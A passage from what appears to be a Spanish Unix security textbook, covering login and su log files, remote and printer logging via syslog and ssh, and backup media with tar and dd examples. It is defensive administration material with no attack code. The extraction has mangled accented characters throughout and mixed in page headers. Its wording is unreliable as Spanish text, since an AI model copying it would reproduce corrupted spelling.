otros ficheros de log, es posible encontrar algunos Unices – los m´s a antiguos – que lo situan en /etc/. Para visualizar el contenido de este archivo podemos utilizar o ´rdenes como last (indicando el nombre de fichero mediante la opci´n -f), w o who: o anita:/# who root console Mar 2 00:13 root pts/2 Mar 3 00:47 (unix) root pts/3 Mar 2 00:18 (unix) root pts/5 Mar 2 00:56 (unix) root pts/6 Mar 2 02:23 (unix:0.0) root pts/8 Mar 3 00:02 (unix:0.0) root pts/7 Mar 2 23:43 (unix:0.0) root pts/9 Mar 3 00:51 (unix) root pts/10 Mar 6 00:23 (unix) anita:/# Como suced´ con wtmp, algunos Unices utilizan tambi´n una versi´n extendida de utmp (utmpx) ıa e o con campos adicionales. 6.4.5 lastlog El archivo lastlog es un fichero binario guardado generalmente en /var/adm/, y que contiene un registro para cada usuario con la fecha y hora de su ultima conexi´n; podemos visualizar estos datos ´ o para un usuario dado mediante ´rdenes como who o finger: o anita:/# finger toni Login name: toni In real life: Toni at ANITA Directory: /export/home/toni Shell: /bin/sh Last login Mon Mar 6 11:07 on pts/11 from localhost No unread mail No Plan. anita:/# 6.4.6 faillog Este fichero es equivalente al anterior, pero en lugar de guardar informaci´n sobre la fecha y hora o del ultimo acceso al sistema lo hace del ultimo intento de acceso de cada usuario; una conexi´n es ´ ´ o fallida si el usuario (o alguien en su lugar) teclea incorrectamente su contrase˜a. Esta informaci´n n o se muestra la siguiente vez que dicho usuario entra correctamente a la m´quina: a
- 113. 6.4. ALGUNOS ARCHIVOS DE LOG 95 andercheran login: toni Password: Linux 2.0.33. 1 failure since last login. Last was 14:39:41 on ttyp9. Last login: Wed May 13 14:37:46 on ttyp9 from pleione.cc.upv.es. andercheran:~$ 6.4.7 loginlog Si en algunas versiones de Unix (como Solaris) creamos el archivo /var/adm/loginlog (que origi- nalmente no existe), se registrar´n en ´l los intentos fallidos de login, siempre y cuando se produzcan a e cinco o m´s de ellos seguidos: a anita:/# cat /var/adm/loginlog toni:/dev/pts/6:Thu Jan 6 07:02:53 2000 toni:/dev/pts/6:Thu Jan 6 07:03:00 2000 toni:/dev/pts/6:Thu Jan 6 07:03:08 2000 toni:/dev/pts/6:Thu Jan 6 07:03:37 2000 toni:/dev/pts/6:Thu Jan 6 07:03:44 2000 anita:/# 6.4.8 btmp En algunos clones de Unix, como Linux o HP-UX, el fichero btmp se utiliza para registrar las conexiones fallidas al sistema, con un formato similar al que wtmp utiliza para las conexiones que han tenido ´xito: e andercheran:~# last -f /var/adm/btmp |head -7 pnvarro ttyq1 term104.aiind.up Wed Feb 9 16:27 - 15:38 (23:11) jomonra ttyq2 deportes.etsii.u Fri Feb 4 14:27 - 09:37 (9+19:09) PNAVARRO ttyq4 term69.aiind.upv Wed Feb 2 12:56 - 13:09 (20+00:12) panavarr ttyq2 term180.aiind.up Fri Jan 28 12:45 - 14:27 (7+01:42) vbarbera ttyp0 daind03.etsii.up Thu Jan 27 20:17 still logged in pangel ttyq1 agarcia2.ter.upv Thu Jan 27 18:51 - 16:27 (12+21:36) abarra ttyp0 dtra-51.ter.upv. Thu Jan 27 18:42 - 20:17 (01:34) andercheran:~# 6.4.9 sulog Este es un fichero de texto donde se registran las ejecuciones de la orden su, indicando fecha, hora, usuario que lanza el programa y usuario cuya identidad adopta, terminal asociada y ´xito (‘+’) o e fracaso (‘-’) de la operaci´n: o anita:/# head -4 /var/adm/sulog SU 12/27 07:41 + console root-toni SU 12/28 23:42 - vt01 toni-root SU 12/28 23:43 + vt01 toni-root SU 12/29 01:09 + vt04 toni-root anita:/# El registro de las invocaciones a la orden su puede estar deshabilitado por defecto en algunos sistemas Unix: por ejemplo, en Solaris es necesario crear manualmente el fichero /var/adm/sulog, mientras que en algunas distribuciones de Linux es necesario modificar el archivo /etc/login.defs para habilitar el registro de la actividad, tal y como veremos en el cap´ ıtulo dedicado a este clon de Unix. De esta forma, al instalar el sistema, y antes de pasarlo a un entorno de producci´n, quiz´s o a nos interese asegurarnos de que estamos guardando todos los cambios de identidad que se producen en la m´quina a trav´s de su. a e
- 114. 96 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA 6.4.10 debug En este archivo de texto se registra informaci´n de depuraci´n (de debug) de los programas que se o o ejecutan en la m´quina; esta informaci´n puede ser enviada por las propias aplicaciones o por el a o n´cleo del sistema operativo: u luisa:~# tail -8 /var/adm/debug Dec 17 18:51:50 luisa kernel: ISO9660 Extensions: RRIP_1991A Dec 18 08:15:32 luisa sshd[3951]: debug: sshd version 1.2.21 [i486-unknown-linux] Dec 18 08:15:32 luisa sshd[3951]: debug: Initializing random number generator; seed file /etc/ssh_random_seed Dec 18 08:15:32 luisa sshd[3951]: debug: inetd sockets after dupping: 7, 8 Dec 18 08:15:34 luisa sshd[3951]: debug: Client protocol version 1.5; client software version 1.2.21 Dec 18 08:15:34 luisa sshd[3951]: debug: Calling cleanup 0x800cf90(0x0) Dec 18 16:33:59 luisa kernel: VFS: Disk change detected on device 02:00 Dec 18 23:41:12 luisa identd[2268]: Successful lookup: 1593 , 22 : toni.users luisa:~# 6.5 Logs remotos El demonio syslog permite f´cilmente guardar registros en m´quinas remotas; de esta forma se a a pretende que, aunque la seguridad de un sistema se vea comprometida y sus logs sean modificados se puedan seguir registrando las actividades sospechosas en una m´quina a priori segura. Esto se a consigue definiendo un ‘LOGHOST’ en lugar de un archivo normal en el fichero /etc/syslogd.conf de la m´quina de la que nos interesa guardar informaci´n; por ejemplo, si queremos registrar toda a o la informaci´n de prioridad info y notice en la m´quina remota rosita, lo indicaremos de la o a siguiente forma: *.=info;*.=notice @rosita Tras modificar /etc/syslogd.conf hacemos que el demonio relea su fichero de configuraci´n en- o vi´ndole la se˜al sighup (por ejemplo, con kill). a n Por su parte, en el host donde deseemos almacenar los logs, tenemos que tener definido el puerto syslog en /etc/services y ejecutar syslogd con el par´metro ‘-r’ para que acepte conexiones a a trav´s de la red: e rosita:~# grep syslog /etc/services syslog 514/udp rosita:~# ps xua|grep syslogd root 41 0.0 0.4 852 304 ? S Mar21 0:01 /usr/sbin/syslogd rosita:~# kill -TERM 41 rosita:~# syslogd -r rosita:~# A partir de ese momento todos los mensajes generados en la m´quina origen se enviar´n a la a a destino y se registrar´n seg´n las reglas de esta, en un fichero (lo habitual), en un dispositivo. . . o a u incluso se reenviar´n a otra m´quina (en este caso hemos de tener cuidado con los bucles); si a a suponemos que estas reglas, en nuestro caso, registran los mensajes de la prioridad especificada antes en /var/adm/messages, en este archivo aparecer´n entradas de la m´quina que ha enviado a a la informaci´n: o rosita:~# tail -3 /var/adm/messages Mar 23 07:43:37 luisa syslogd 1.3-3: restart. Mar 23 07:43:46 luisa in.telnetd[7509]: connect from amparo Mar 23 07:57:44 luisa -- MARK -- rosita:~#
- 115. 6.5. LOGS REMOTOS 97 Esto, que en muchas situaciones es muy recomendable, si no se realiza correctamente puede incluso comprometer la seguridad de la m´quina que guarda registros en otro equipo: por defecto, el a tr´fico se realiza en texto claro, por lo que cualquier atacante con un sniffer entre las dos m´quinas a a puede tener acceso a informaci´n importante que habr´ que mantener en secreto; imaginemos o ıa una situaci´n muy habitual: un usuario que teclea su password cuando el sistema le pide el login. o Evidentemente, esto generar´ un mensaje de error que syslogd registrar´; este mensaje ser´ similar a a a a este (Linux Slackware 4): Mar 23 05:56:56 luisa login[6997]: invalid password for ‘UNKNOWN’ on ‘ttyp5’ from ‘amparo’ Pero, ¿qu´ suceder´ si en lugar de ‘UNKNOWN’ el sistema almacenara el nombre de usuario que se e ıa ha introducido, algo que hacen muchos clones de Unix? En esta situaci´n el mensaje ser´ muy o ıa parecido al siguiente (Linux Red Hat 6.1): Mar 23 05:59:15 rosita login[3582]: FAILED LOGIN 1 FROM amparo FOR 5k4@b&-, User not known to the underlying authentication module Como podemos ver se registrar´ una contrase˜a de usuario, contrase˜a que estamos enviando a ıa n n la m´quina remota en texto claro a trav´s de la red; evidentemente, es un riesgo que no podemos a e correr. Quiz´s alguien pueda pensar que una clave por s´ sola no representa mucho peligro, ya que a ı el atacante no conoce el nombre de usuario en el sistema. De ninguna forma: el pirata s´lo tiene que o esperar unos instantes, porque cuando el usuario teclee su login y su password correctamente (en principio, esto suceder´ poco despu´s de equivocarse, recordemos que el usuario trata de acceder a a e su cuenta) el sistema generar´ un mensaje indicando que ese usuario (con su nombre) ha entrado a al sistema1 . Para evitar este problema existen dos aproximaciones: o bien registramos logs en un equipo direc- tamente conectado al nuestro, sin emitir tr´fico al resto de la red, o bien utilizamos comunicaciones a cifradas (por ejemplo con ssh) para enviar los registros a otro ordenador. En el primer caso s´loo necesitamos un equipo con dos tarjetas de red, una por donde enviar el tr´fico hacia la red local a y la otra para conectar con la m´quina donde almacenamos los logs, que s´lo ser´ accesible desde a o a nuestro equipo y que no ha de tener usuarios ni ofrecer servicios; no es necesaria una gran potencia de c´lculo: podemos aprovechar un viejo 386 o 486 con Linux o FreeBSD para esta tarea. a El segundo caso, utilizar comunicaciones cifradas para guardar registros en otro equipo de la red, re- quiere algo m´s de trabajo; aqu´ no es estrictamente necesario que la m´quina est´ aislada del resto a ı a e de la red, ya que la transferencia de informaci´n se va a realizar de forma cifrada, consiguiendo que o un potencial atacante no obtenga ning´n dato comprometedor analizando el tr´fico; evidentemente, u a aunque no est´ aislado, es fundamental que el sistema donde almacenamos los logs sea seguro. Para e enviar un log cifrado a una m´quina remota podemos utilizar, como hemos dicho antes, ssh unido a a las facilidades que ofrece syslogd; si lo hacemos as´ lo unico que necesitamos es el servidor ı, ´ sshd en la m´quina destino y el cliente ssh en la origen. Por ejemplo, imaginemos que queremos a utilizar a rosita para almacenar una copia de los registros generados en luisa conforme se vayan produciendo; en este caso vamos a enviar logs a un fifo con nombre, desde donde los cifraremos con ssh y los enviaremos al sistema remoto a trav´s de la red. Lo primero que necesitamos hacer es e crear un fichero de tipo tuber´ en la m´quina origen, por ejemplo con mknod o mkfifo: ıa a luisa:~# mknod /var/run/cifra p luisa:~# chmod 0 /var/run/cifra luisa:~# ls -l /var/run/cifra p--------- 1 root root 0 May 4 05:18 /var/run/cifra| luisa:~# Este es el archivo al que enviaremos desde syslogd los registros que nos interesen, por ejemplo los de prioridad warn; hemos de modificar /etc/syslog.conf para a˜adirle una l´ n ınea como la siguiente: 1 Este comportamiento es configurable desde /etc/login.defs, como vemos en el cap´ ıtulo dedicado a la seguridad en Linux.
- 116. 98 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA luisa:~# tail -1 /etc/syslog.conf *.warn |/var/run/cifra luisa:~# A continuaci´n haremos que syslog relea su nueva configuraci´n mediante la se˜al sighup: o o n luisa:~# ps xua|grep syslog |grep -v grep root 7978 0.0 0.2 1372 156 ? S 03:01 0:00 syslogd -m 0 luisa:~# kill -HUP 7978 luisa:~# Una vez realizados estos pasos ya conseguimos que se registren los eventos que nos interesan en el fichero /var/run/cifra; este archivo es una tuber´ con nombre, de forma que los datos que ıa le enviamos no se graban en el disco realmente, sino que s´lo esperan a que un proceso lector o los recoja. Ese proceso lector ser´ justamente el cliente ssh, encargado de cifrarlos y enviarlos al a sistema remoto; para ello debemos lanzar una orden como: luisa:~# cat /var/run/cifra | ssh -x rosita ’cat >>/var/log/luisa’ Si tenemos configurado ssh para que autentique sin clave podemos lanzar el proceso directamente en background; si tenemos que introducir la clave del root, una vez tecleada podemos parar el pro- ceso y relanzarlo tambi´n en segundo plano (esto es simplemente por comodidad, realmente no es e necesario). Lo unico que estamos haciendo con este mecanismo es cifrar lo que llega al fifo y enviarlo ´ de esta forma al sistema remoto, en el que se descifrar´ y se guardar´ en el fichero /var/log/luisa. a a Quiz´s nos interese a˜adir unas l´ a n ıneas en los scripts de arranque de nuestra m´quina para que a este proceso se lance autom´ticamente al iniciar el sistema; si lo hacemos as´ hemos de tener cuida- a ı do con la autenticaci´n, ya que si ssh requiere una clave para conectar con el sistema remoto es o probable que la m´quina tarde m´s de lo normal en arrancar si un operador no est´ en la consola: a a a justamente el tiempo necesario hasta que ssh produzca un timeout por no teclear el password de root en el sistema remoto. Si al producirse el timeout el programa ssh no devuelve el control al shell, el sistema ni siquiera arrancar´; de cualquier forma, si ese timeout se produce no estaremos a registrando ning´n evento en la otra m´quina. Por supuesto, tambi´n debemos prestar atenci´n a u a e o otros problemas con la m´quina destino que eviten que la conexi´n se produzca, con un n´mero a o u m´ximo de usuarios sobrepasado o simplemente que ese sistema est´ apagado. a e 6.6 Registros f´ ısicos Para asegurarnos m´s de que la informaci´n que se registra de las actividades en nuestro sistema es a o fiable acabamos de explicar c´mo almacenarla, a la vez que en un fichero de la propia m´quina, en o a un equipo remoto a trav´s de la red; la idea es poder comparar los registros de ambos sistemas para e detectar posibles modificaciones en una de ellas. Pero, ¿qu´ sucede si el atacante consigue tambi´n e e control sobre el segundo equipo, y modifica tambi´n ah´ los ficheros de log? Aunque a priori este e ı sea un sistema seguro, sabemos que nadie nos puede garantizar la seguridad al 100%; en algunos casos (por ejemplo si sospechamos que el intruso ha conseguido el control de ambos equipos) es conveniente recurrir a registros f´ ısicos, mucho m´s dif´ a ıciles de alterar que los l´gicos. o No siempre se guarda informaci´n en un fichero plano, ya sea local o remoto. Unix permite al- o macenar mensajes en ficheros especiales – dispositivos –, como terminales o impresoras; son estas ultimas las m´s habituales por la seguridad que ofrecen, ya que mientras que un intruso con el ´ a privilegio suficiente puede modificar un fichero de log local, o acceder a un sistema donde se almace- nen registros remotos, no puede eliminar una informaci´n extra´ por impresora sin tener acceso o ıda f´ ısico a la misma. El demonio syslog de cualquier sistema Unix permite especificar uno de estos ficheros especiales como destinatario de ciertos registros de una forma muy simple: no tenemos m´s que a˜adir una entrada en /etc/syslog.conf indicando el dispositivo y la clase de eventos a n a registrar en ´l; por ejemplo, para enviar todos los mensajes de prioridad warn a una impresora e (como /dev/lp1) no tenemos m´s que a˜adir en el archivo la l´ a n ınea siguiente: *.warn /dev/lp1
- 117. 6.6. REGISTROS F´ ISICOS 99 Como siempre, tras modificar el fichero de configuraci´n hemos de hacer que el demonio lo relea, o bien envi´ndole la se˜al sighup o bien deteni´ndolo y volvi´ndolo a lanzar; por ultimo, si decidimos a n e e ´ utilizar una impresora para generar registros f´ ısicos hemos de intentar que se trate de un modelo de agujas, ya que dispositivos m´s modernos utilizan buffers que no se llegan a imprimir hasta a que est´n llenos, por lo que ser´ posible para un atacante hacer que se pierda cierta informaci´n. a ıa o Hemos de evitar especialmente algunos modelos nuevos de impresoras que tienen incluso sistema de red y direcci´n ip para control remoto, ya que en este caso puede suceder que un pirata llegue o a controlar el dispositivo igual que controla la m´quina que env´ los registros. a ıa Otro tipo de registro f´ısico, m´s b´sico e incluso m´s fiable que el anterior, pero que por des- a a a gracia no se suele utilizar mucho, son las propias anotaciones sobre la marcha del sistema que todo administrador deber´ realizar en una especie de ‘cuaderno de bit´cora’ de cada equipo. Ev- ıa a identemente la unica persona con acceso a dicho cuaderno deber´ ser el administrador, y deber´ ´ ıa ıa guardarse en un lugar seguro, aplicando las mismas pol´ ıticas que por ejemplo aplicamos a las cintas de backup (alejadas del entorno de operaciones para prevenir la p´rdida ante un desastre f´ e ısico, almacenadas bajo llave. . . ).
- 118. 100 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA
- 119. Cap´ ıtulo 7 Copias de seguridad 7.1 Introducci´n o Las copias de seguridad del sistema son con frecuencia el unico mecanismo de recuperaci´n que ´ o poseen los administradores para restaurar una m´quina que por cualquier motivo – no siempre se a ha de tratar de un pirata que borra los discos – ha perdido datos. Por tanto, una correcta pol´ ıtica para realizar, almacenar y, en caso de ser necesario, restaurar los backups es vital en la planificaci´n o de seguridad de todo sistema. Asociados a los backups suelen existir unos problemas de seguridad t´ıpicos en muchas organizaciones. Por ejemplo, uno de estos problemas es la no verificaci´n de las copias realizadas: el administrador o ha dise˜ado una pol´ n ıtica de copias de seguridad correcta, incluso exhaustiva en muchas ocasiones, pero nadie se encarga de verificar estas copias. . . hasta que es necesario restaurar ficheros de ellas. Evidentemente, cuando llega ese momento el responsable del sistema se encuentra ante un gran problema, problema que se podr´ haber evitado simplemente teniendo la precauci´n de verificar el ıa o correcto funcionamiento de los backups; por supuesto, restaurar una copia completa para comprobar que todo es correcto puede ser demasiado trabajo para los m´todos habituales de operaci´n, por e o lo que lo que se suele hacer es tratar de recuperar varios ficheros aleatorios del backup, asumiendo que si esta recuperaci´n funciona, toda la copia es correcta. o Otro problema cl´sico de las copias de seguridad es la pol´ a ıtica de etiquetado a seguir. Son pocos los administradores que no etiquetan los dispositivos de backup, algo que evidentemente no es muy util:´ si llega el momento de recuperar ficheros, el operador ha de ir cinta por cinta (o disco por disco, o CD-ROM por CD-ROM. . . ) tratando de averiguar d´nde se encuentran las ultimas versiones de o ´ tales archivos. No obstante, muchos administradores siguen una pol´ ıtica de etiquetado exhaustiva, proporcionando todo tipo de detalles sobre el contenido exacto de cada medio; esto, que en principio puede parecer una posici´n correcta, no lo es tanto: si por cualquier motivo un atacante consigue o sustraer una cinta, no tiene que investigar mucho para conocer su contenido exacto, lo que le pro- porciona acceso a informaci´n muy concreta (y muy valiosa) de nuestros sistemas sin ni siquiera o penetrar en ellos. La pol´ ıtica correcta para etiquetar los backups ha de ser tal que un administrador pueda conocer la situaci´n exacta de cada fichero, pero que no suceda lo mismo con un atacante o que roba el medio de almacenamiento; esto se consigue, por ejemplo, con c´digos impresos en cada o etiqueta, c´digos cuyo significado sea conocido por los operadores de copias de seguridad pero no o por un potencial atacante. La ubicaci´n final de las copias de seguridad tambi´n suele ser err´nea en muchos entornos; general- o e o mente, los operadores tienden a almacenar los backups muy cerca de los sistemas, cuando no en la misma sala. Esto, que se realiza para una mayor comodidad de los t´cnicos y para recuperar ficheros e f´cilmente, es un grave error: no hay m´s que imaginar cualquier desastre del entorno, como un a a incendio o una inundaci´n, para hacerse una idea de lo que les suceder´ a los backups en esos casos. o ıa Evidentemente, se destruir´ junto a los sistemas, por lo que nuestra organizaci´n perder´ toda su ıan o ıa informaci´n; no obstante, existen voces que reivindican como correcto el almacenaje de las copias o de seguridad junto a los propios equipos, ya que as´ se consigue centralizar un poco la seguridad ı
- 120. 102 CAP´ ITULO 7. COPIAS DE SEGURIDAD (protegiendo una unica estancia se salvaguarda tanto las m´quinas como las copias). Lo habitual en ´ a cualquier organizaci´n suele ser un t´rmino medio entre ambas aproximaciones: por ejemplo, pode- o e mos tener un juego de copias de seguridad completas en un lugar diferente a la sala de operaciones, pero protegido y aislado como esta, y un juego para uso diario en la propia sala, de forma que los operadores tengan f´cil la tarea de recuperar ficheros; tambi´n podemos utilizar armarios ign´ a e ıfugos que requieran de ciertas combinaciones para su apertura (combinaciones que s´lo determinado per- o sonal ha de conocer), si decidimos almacenar todos los backups en la misma estancia que los equipos. Por ultimo, ¿qu´ almacenar? Obviamente debemos realizar copias de seguridad de los archivos ´ e que sean unicos a nuestro sistema; esto suele incluir directorios como /etc/, /usr/local/ o la ´ ubicaci´n de los directorios de usuario (dependiendo del Unix utilizado, /export/home/, /users/, o /home/. . . ). Por supuesto, realizar una copia de seguridad de directorios como /dev/ o /proc/ no tiene ninguna utilidad, de la misma forma que no la tiene realizar backups de directorios del sistema como /bin/ o /lib/: su contenido est´ almacenado en la distribuci´n original del sistema a o operativo (por ejemplo, los CD-ROMs que utilizamos para instalarlo). 7.2 Dispositivos de almacenamiento Existen multitud de dispositivos diferentes donde almacenar nuestras copias de seguridad, desde un simple disco flexible hasta unidades de cinta de ultima generaci´n. Evidentemente, cada uno ´ o tiene sus ventajas y sus inconvenientes, pero utilicemos el medio que utilicemos, ´ste ha de cumplir e una norma b´sica: ha de ser est´ndar. Con toda probabilidad muchos administradores pueden a a presumir de poseer los streamers m´s modernos, con unidades de cinta del tama˜o de una cajetilla a n de tabaco que son capaces de almacenar gigas y m´s gigas de informaci´n; no obstante, utilizar a o dispositivos de ultima generaci´n para guardar los backups de nuestros sistemas puede convertirse ´ o en un problema: ¿qu´ sucede si necesitamos recuperar datos y no disponemos de esa unidad lectora e tan avanzada? Imaginemos simplemente que se produce un incendio y desaparece una m´quina, a y con ella el dispositivo que utilizamos para realizar copias de seguridad. En esta situaci´n, o o disponemos de otra unidad id´ntica a la perdida, o recuperar nuestra informaci´n va a ser algo e o dif´ ıcil. Si en lugar de un dispositivo moderno, r´pido y seguramente muy fiable, pero incompatible a con el resto, hubi´ramos utilizado algo m´s habitual (una cinta de 8mm., un CD-ROM, o incluso e a un disco duro) no tendr´ ıamos problemas en leerlo desde cualquier sistema Unix, sin importar el hardware sobre el que trabaja. Aqu´ vamos a comentar algunos de los dispositivos de copia de seguridad m´s utilizados hoy en d´ ı a ıa; de todos ellos (o de otros, no listados aqu´ cada administrador ha de elegir el que m´s se adapte a ı) a sus necesidades. En la tabla 7.1 se muestra una comparativa de todos ellos. Discos flexibles S´ aunque los cl´sicos diskettes cada d´ se utilicen menos, a´n se pueden considerar un dispositivo ı, a ıa u donde almacenar copias de seguridad. Se trata de un medio muy barato y portable entre difer- entes operativos (evidentemente, esta portabilidad existe si utilizamos el disco como un dispositivo secuencial, sin crear sistemas de ficheros). Por contra, su fiabilidad es muy baja: la informaci´n o almacenada se puede borrar f´cilmente si el disco se aproxima a aparatos que emiten cualquier tipo a de radiaci´n, como un tel´fono m´vil o un detector de metales. Adem´s, la capacidad de almace- o e o a namiento de los floppies es muy baja, de poco m´s de 1 MB por unidad; esto hace que sea casi a imposible utilizarlos como medio de backup de grandes cantidades de datos, restringiendo su uso a ficheros individuales. Un diskette puede utilizarse creando en ´l un sistema de ficheros, mont´ndolo bajo un directo- e a rio, y copiando en los archivos a guardar. Por ejemplo, podemos hacer un backup de nuestro fichero de claves en un disco flexible de esta forma. luisa:~# mkfs -t ext2 /dev/fd0 mke2fs 1.14, 9-Jan-1999 for EXT2 FS 0.5b, 95/08/09 Linux ext2 filesystem format Filesystem label=
- 121. 7.2. DISPOSITIVOS DE ALMACENAMIENTO 103 360 inodes, 1440 blocks 72 blocks (5.00%) reserved for the super user First data block=1 Block size=1024 (log=0) Fragment size=1024 (log=0) 1 block group 8192 blocks per group, 8192 fragments per group 360 inodes per group Writing inode tables: done Writing superblocks and filesystem accounting information: done luisa:~# mount -t ext2 /dev/fd0 /mnt/ luisa:~# cp /etc/passwd /mnt/ luisa:~# umount /mnt/ luisa:~# Si quisi´ramos recuperar el archivo, no tendr´ e ıamos m´s que montar de nuevo el diskette y copiar a el fichero en su ubicaci´n original. No obstante, este uso de los discos flexibles es minoritario; es o m´s habitual utilizarlo como un dispositivo secuencial (como una cinta), sin crear en ´l sistemas a e de ficheros – que quiz´s son incompatibles entre diferentes clones de Unix – sino accediendo direc- a tamente al dispositivo. Por ejemplo, si de nuevo queremos hacer un backup de nuestro fichero de passwords, pero siguiendo este modelo de trabajo, podemos utilizar la orden tar (comentada m´s a adelante) para conseguirlo: luisa:~# tar cvf /dev/fd0 /etc/passwd tar: Removing leading ‘/’ from absolute path names in the archive etc/passwd luisa:~# Para recuperar ahora el archivo guardado, volvemos a utilizar la orden tar indicando como con- tenedor la unidad de disco correspondiente: luisa:~# tar xvf /dev/fd0 etc/passwd luisa:~# Discos duros Es posible utilizar una unidad de disco duro completa (o una partici´n) para realizar copias de se- o guridad; como suced´ con los discos flexibles, podemos crear un sistema de ficheros sobre la unidad ıa o la partici´n correspondiente, montarla, y copiar los ficheros que nos interese guardar en ella (o o recuperarlos). De la misma forma, tambi´n podemos usar la unidad como un dispositivo secuencial e y convertirlo en un contenedor tar o cpio; en este caso hemos de estar muy atentos a la hora de especificar la unidad, ya que es muy f´cil equivocarse de dispositivo y machacar completamente la a informaci´n de un disco completo (antes tambi´n pod´ suceder, pero ahora la probabilidad de error o e ıa es m´s alta). Por ejemplo, si en lugar del nombre del dispositivo correcto (supongamos /dev/hdc) a especificamos otro (como /dev/hdd), estaremos destruyendo la informaci´n guardada en este ultimo. o ´ Algo muy interesante en algunas situaciones es utilizar como dispositivo de copia un disco duro id´ntico al que est´ instalado en nuestro sistema, y del que deseamos hacer el backup; en este caso e a es muy sencillo hacer una copia de seguridad completa. Imaginemos por ejemplo que /dev/hda y /dev/hdc son dos discos exactamente iguales; en este caso, si queremos conseguir una imagen especular del primero sobre el segundo, no tenemos m´s que utilizar la orden dd con los par´metros a a adecuados: luisa:~# dd if=/dev/hda of=/dev/hdc bs=2048 1523+0 records in 1523+0 records out luisa:~#
- 122. 104 CAP´ ITULO 7. COPIAS DE SEGURIDAD Cintas magn´ticas e Las cintas magn´ticas han sido durante a˜os (y siguen siendo en la actualidad) el dispositivo de e n backup por excelencia. Las m´s antiguas, las cintas de nueve pistas, son las que mucha gente imagina a al hablar de este medio: un elemento circular con la cinta enrollada en ´l; este tipo de dispositivos e se utiliz´ durante mucho tiempo, pero en la actualidad est´ en desuso, ya que a pesar de su alta o a fiabilidad y su relativa velocidad de trabajo, la capacidad de este medio es muy limitada (de hecho, las m´s avanzadas son capaces de almacenar menos de 300 MB., algo que no es suficiente en la a mayor parte de sistemas actuales). Despu´s de las cintas de 9 pistas aparecieron las cintas de un cuarto de pulgada (denominadas e qic), mucho m´s peque˜as en tama˜o que las anteriores y con una capacidad m´xima de varios a n n a Gigabytes (aunque la mayor parte de ellas almacenan menos de un Giga); se trata de cintas m´s a baratas que las de 9 pistas, pero tambi´n m´s lentas. El medio ya no va descubierto, sino que va e a cubierto de una envoltura de pl´stico. a A finales de los ochenta aparece un nuevo modelo de cinta que releg´ a las cintas qic a un se- o gundo plano y que se ha convertido en el medio m´s utilizado en la actualidad: se trata de las a cintas de 8mm., dise˜adas en su origen para almacenar v´ n ıdeo. Estas cintas, del tama˜o de una n cassette de audio, tienen una capacidad de hasta cinco Gigabytes, lo que las hace perfectas para la mayor´ de sistemas: como toda la informaci´n a salvaguardar cabe en un mismo dispositivo, el ıa o operador puede introducir la cinta en la unidad del sistema, ejecutar un sencillo shellscript, y dejar que el backup se realice durante toda la noche; al d´ siguiente no tiene m´s que verificar que no ıa a ha habido errores, retirar la cinta de la unidad, y etiquetarla correctamente antes de guardarla. De esta forma se consigue que el proceso de copia de seguridad sea sencillo y efectivo. No obstante, este tipo de cintas tiene un grave inconveniente: como hemos dicho, originalmente estaban dise˜adas para almacenar v´ n ıdeo, y se basan en la misma tecnolog´ para registrar la infor- ıa maci´n. Pero con una importante diferencia ([P+ 94]): mientras que perder unos bits de la cinta o donde hemos grabado los mejores momentos de nuestra ultima fiesta no tiene mucha importancia, si ´ esos mismos bits los perdemos de una cinta de backup el resto de su contenido puede resultar inservi- ble. Es m´s, es probable que despu´s de unos cuantos usos (incluidas las lecturas) la cinta se da˜e a e n irreversiblemente. Para intentar solucionar estos problemas aparecieron las cintas dat, de 4mm., dise˜adas ya en origen para almacenar datos; estos dispositivos, algo m´s peque˜os que las cintas n a n de 8mm. pero con una capacidad similar, son el mejor sustituto de las cintas antiguas: son mucho m´s resistentes que ´stas, y adem´s relativamente baratas (aunque algo m´s caras que las de 8mm.). a e a a Hemos dicho que en las cintas de 8mm. (y en las de 4mm.) se pueden almacenar hasta 5 GB. de informaci´n. No obstante, algunos fabricantes anuncian capacidades de hasta 14 GB. utilizando o compresi´n hardware, sin dejar muy claro si las cintas utilizadas son est´ndar o no ([Fri95]); evi- o a dentemente, esto puede llevarnos a problemas de los que antes hemos comentado: ¿qu´ sucede si e necesitamos recuperar datos y no disponemos de la unidad lectora original? Es algo vital que nos aseguremos la capacidad de una f´cil recuperaci´n en caso de p´rdida de nuestros datos (este es a o e el objetivo de los backups al fin y al cabo), por lo que quiz´s no es conveniente utilizar esta com- a presi´n hardware a no ser que sea estrictamente necesario y no hayamos podido aplicar otra soluci´n. o o CD-ROMs En la actualidad s´lo se utilizan cintas magn´ticas en equipos antiguos o a la hora de almacenar o e grandes cantidades de datos – del orden de Gigabytes. Hoy en d´ muchas m´quinas Unix poseen ıa, a unidades grabadoras de CD-ROM, un hardware barato y, lo que es m´s importante, que utiliza a dispositivos de muy bajo coste y con una capacidad de almacenamiento suficiente para muchos sis- temas: con una unidad grabadora, podemos almacenar m´s de 650 Megabytes en un CD-ROM que a cuesta menos de 150 pesetas. Por estos motivos, muchos administradores se decantan por realizar sus copias de seguridad en uno o varios CD-ROMs; esto es especialmente habitual en estaciones de trabajo o en PCs de sobremesa corriendo alg´n clon de Unix (Linux, Solaris o FreeBSD por regla u general), donde la cantidad de datos a salvaguardar no es muy elevada y se ajusta a un par de unidades de CD, cuando no a una sola.
- 123. ´ 7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 105 Dispositivo Fiabilidad Capacidad Coste/MB Diskette Baja Baja Alto CD-ROM Media Media Bajo Disco duro Alta Media/Alta Medio. Cinta 8mm. Media Alta Medio. Cinta DAT Alta Alta Medio. Tabla 7.1: Comparaci´n de diferentes medios de almacenamiento secundario. o En el punto 7.3.4 se comenta el mecanismo para poder grabar en un CD-ROM; aunque los ejemplos que comentaremos son b´sicos, existen multitud de posibilidades para trabajar con este medio. a Por ejemplo, podemos utilizar dispositivos CD-RW, similares a los anteriores pero que permiten borrar la informaci´n almacenada y volver a utilizar el dispositivo (algo muy util en situaciones o ´ donde reutilizamos uno o varios juegos de copias), o utilizar medios con una mayor capacidad de almacenamiento (CD-ROMs de 80 minutos, capaces de almacenar hasta 700 MB.); tambi´n es muy e util lo que se conoce como la grabaci´n multisesi´n, algo que nos va a permitir ir actualizando ´ o o nuestras copias de seguridad con nuevos archivos sin perder la informaci´n que hab´ o ıamos guardado previamente. 7.3 Algunas ordenes para realizar copias de seguridad ´ Aunque muchos clones de Unix ofrecen sus propias herramientas para realizar copias de seguridad de todo tipo (por ejemplo, tenemos mksysb y savevg/restvg en AIX, fbackup y frecover en HP-UX, bru en IRIX, fsphoto en SCO 